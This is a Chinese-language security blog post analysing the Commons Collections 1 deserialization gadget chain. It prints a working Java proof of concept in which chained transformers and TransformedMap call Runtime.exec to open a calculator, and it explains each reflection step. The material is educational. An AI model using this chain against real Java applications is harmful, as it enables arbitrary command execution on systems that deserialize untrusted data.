Java安全之Commons Collections1分析(一)


Java安全之Commons Collections1分析(一)

0x00 前言

在CC鏈中,其實具體執行過程還是比較復雜的。建議調試前先將一些前置知識的基礎給看一遍。

Java安全之Commons Collections1分析前置知識

0x01 CC鏈分析

這是一段poc代碼,執行完成后會彈出一個計算器。

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class test {

    public static void main(String[] args) throws Exception {
        //此處構建了一個transformers的數組,在其中構建了任意函數執行的核心代碼
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //將transformers數組存入ChaniedTransformer這個繼承類
        Transformer transformerChain = new ChainedTransformer(transformers);

        //創建Map並綁定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //給予map數據轉化鏈
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //觸發漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //outerMap后一串東西,其實就是獲取這個map的第一個鍵值對(value,value);然后轉化成Map.Entry形式,這是map的鍵值對數據格式
        onlyElement.setValue("foobar");
    }
}

下面每一段一段代碼的來進行分析。

首先Transformer是一個接口,ConstantTransformerInvokerTransformer都是Transformer接口的實現類。那么在這里拋出一個問題,Transformer明明是接口為什么可以new呢?這也是我一開始看到這段代碼的時候的一個問題。

Transformer[] transformers = new Transformer[]

其實這里並不是new了一個接口,而是new了一個 Transformer類型的數組,里面存儲的是 Transformer的實現類對象。

先來分析一下ConstantTransformer

這里是使用了構造方法傳入參數,並且傳入的參數為Runtime,而在調用到transform時,會進行返回我們傳入的參數。后面會講具體怎么去調用的這個方法。

InvokerTransformer分析

打一個debug跟蹤到InvokerTransformer類里面

這里的傳入了三個參數,第一個是方法名,第二個是參數類型,第三個是參數的值。

為了清晰,下面列一下,每個InvokerTransformer的參數值。

getMethod,null,getRuntime
invoke,null,null
exec,null,calc.exe

這里也有個transform方法,也是比較重要的一個點,但是在這里先不分析該方法,這個放在后面去做分析。

ChainedTransformer分析

來看下一段代碼

Transformer transformerChain = new ChainedTransformer(transformers);

transformers數組傳入ChainedTransformer構造方法里面。

該構造方法對進行賦值到本類的成員變量里面,后面如果調用了transform方法,就會遍歷transformers數組進行逐個去調用他的transform。那么分析到這一步我們需要做的是ChainedTransformer的transform什么時候會被調用。

官方說明:

將指定的轉換器連接在一起的轉化器實現。
    輸入的對象將被傳遞到第一個轉化器,轉換結果將會輸入到第二個轉化器,並以此類推

也就是說該方法會將第一次的執行結果傳遞到第二次執行的參數里面去。

這里可以看到傳入的Runtime,那么為什么傳入的是Runtime呢?再回去看看ConstantTransformer這個類就可以知道,調用transform方法的話就會進行返回this.iConstant。而在定義數組的時候,我們就使用了ConstantTransformer的構造方法來進行賦值。

 new ConstantTransformer(Runtime.class)

所以這里傳入的是Runtime的類。

在第一次執行的時候,已經將Runtime傳入到了參數里面

這里的transform方法使用了反射。

 Class cls = input.getClass();
                Method method = cls.getMethod(getMethod,null);
                return method.invoke(input, getRuntime);

反射調用並且返回getRuntime對象。

第二次傳入的是Runtime.getRuntime

Class cls = input.getClass();
Method method = cls.getMethod(invoke, null);
return method.invoke(input,null);

第二次返回的是Runtime的實例化對象。

第三次又將實例化對象傳入方法參數里面,

 Class cls = input.getClass();
Method method = cls.getMethod("exec", null);
return method.invoke(input, "calc.exe");

這樣一個命令就執行完成了,那么ChainedTransformer的作用就是將Transformer數組給拼接起來。

通過ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法,然后通過反射執行invoke才能去調用getRuntime方法,這樣得到一個Runtime對象,然后再去調用Runtime對象的exec方法去達到命令執行。

那么又會回到剛剛的問題,ChainedTransformer是怎么被調用的呢?

TransformedMap分析

先來查看他的構造方法

構造方法把傳入的map和Transformer進行賦值。

在TransformedMap的transformValue方法中看到調用了this.valueTransformer的transform。而在下面一段代碼就已經對他進行了賦值

Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

TransformedMap類並不能直接new出來,需要使用decorat提供一個實例化對象。

在這里我們就已經知道了transformValue可以去調用transform方法,那么再來看看transformValue會在哪里被調用。

在put方法就會調用transformValue,從而導致transformValue調用transform方法去執行命令。

   public static void main(String[] args) throws Exception {
        //此處構建了一個transformers的數組,在其中構建了任意函數執行的核心代碼
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

       
        Transformer transformerChain = new ChainedTransformer(transformers);

        //創建Map並綁定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("1","1");

0x02 結尾

在這里我們是使用了代碼直接的讓他去彈出一個計算器,但是在實際運用中,需要將該代碼轉換為序列化流。在實際運用中需要我們需要找到⼀個類,它在反序列化的readObject讀取我們序列化的流文件。在分析該鏈的時候也比較亂,下篇文章重新來完整的調試一下。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM